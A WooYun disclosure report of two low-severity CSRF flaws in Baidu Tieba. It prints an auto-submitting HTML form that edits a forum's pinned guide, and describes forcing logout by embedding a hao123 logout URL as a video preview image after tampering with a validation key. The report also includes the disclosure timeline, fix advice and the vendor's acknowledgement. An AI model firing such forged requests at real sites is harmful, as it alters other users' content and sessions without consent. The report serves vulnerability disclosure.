当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-088172

漏洞标题：百度贴吧CSRF漏洞两枚（需要吧主权限）

相关厂商：百度

漏洞作者： q601333824

提交时间：2014-12-22 18:26

修复时间：2015-02-05 18:28

公开时间：2015-02-05 18:28

漏洞类型：CSRF

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-22： 细节已通知厂商并且等待厂商处理中
2014-12-23： 厂商已经确认，细节仅向厂商公开
2015-01-02： 细节向核心白帽子及相关领域专家公开
2015-01-12： 细节向普通白帽子公开
2015-01-22： 细节向实习白帽子公开
2015-02-05： 细节向公众公开

简要描述：

1.百度贴吧CSRF漏洞两枚
2.通过ID创建数据，前提要吧主权限，可以配合csrf漏洞

详细说明：

百度贴吧存在两枚CSRF漏洞
--------------------------------------------------------------------------
1.编辑贴吧置顶的的指引,没有验证来源和tbs

<html>
<body>
<form id="csrf" name="csrf" action="http://tieba.baidu.com/toutu/addContent" method="POST">
<input type="text" name="ie" value="utf-8" />
<input type="text" name="fid" value="116863" />
<input type="text" name="type_id" value="1" />
<input type="text" name="id" value="2" />
<input type="text" name="title" value="BUG吧欢迎您1" />
<input type="text" name="url" value="http://tieba.baidu.com/p/3288419523" />
</form>
<script>
	document.csrf.submit();
</script>
</body>
</html>


QQ截图20141222172737.png



2.其中type_id代表横向序号,id代表纵向序号
贴吧置顶指引限制，限制设置三个组，四行，而且序号都是从0开始的.
可以通过修改ID增加行数，比如已经存在四行，四行序号刚好到id=3,这个是时候如果id=4,就可以新创建一行数据.如果id=4.你下次post的id=6,中间少了id=5,就不会创建一行,如图

QQ截图20141222172702.png


3.BUG吧置顶测试效果:

http://tieba.baidu.com/f?kw=bug&ie=utf-8&fr=wwwt


-------------------------------------------------------------------------------------
4.另一个是退出登录的的csrf:

http://www.hao123.com/api/logout


5.现在不能把csrf插入图片，会被转存，但是插入视频，预览图片，没有对图片进行转存
如图

QQ截图20141222173715.png


6.会提示非法连接，因为post参数存在key,进行验证，如图

QQ截图20141222174056.png


7.根据猜想，插入视频，会随机生成一个key，提交之后进行匹配，如果post一个不存在的key呢???于是删掉key参数的其中一位（不能删完，删完了就不能显示预览图片，会变成贴吧默认的视频预览图片）
(1)如果删掉全部key参数，变成下面这样

QQ截图20141222174450.png


(2)如果只删掉一位参数，就会显示出预览图片,而且csr连接插入视频预览图片了，如图

QQ截图20141222174732.png


QQ截图20141222174822.png


8,OK,回复帖子试试吗，用户退出登录了

QQ截图20141222175005.png




漏洞证明：

1.

<html>
<body>
<form id="csrf" name="csrf" action="http://tieba.baidu.com/toutu/addContent" method="POST">
<input type="text" name="ie" value="utf-8" />
<input type="text" name="fid" value="116863" />
<input type="text" name="type_id" value="1" />
<input type="text" name="id" value="2" />
<input type="text" name="title" value="BUG吧欢迎您1" />
<input type="text" name="url" value="http://tieba.baidu.com/p/3288419523" />
</form>
<script>
	document.csrf.submit();
</script>
</body>
</html>



2.

QQ截图20141222172737.png


3.

QQ截图20141222172702.png


4.测试效果:

http://tieba.baidu.com/f?kw=bug&ie=utf-8&fr=wwwt


------------------------------------------------------------------------------------------
5.

http://www.hao123.com/api/logout


6.

QQ截图20141222174056.png


7.

QQ截图20141222174450.png


8.

QQ截图20141222174732.png


9.

QQ截图20141222174822.png


10.

QQ截图20141222175005.png


修复方案：

1.增加tbs验证，至于指引行数，说不定以后可以弄个收费增加行数业务
2.第二个退出登录csrf其实是鸡肋的，因为对快速登录用户无效，因为手动输入帐号登录，cook会同步到hao123登录，但是快速登录cook不会同步到hao123,鸡肋的地方就是对快速登录用户无效

版权声明：转载请注明来源 q601333824@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2014-12-23 15:13

厂商回复：

感谢提交，已通知业务部门处理

最新状态：

暂无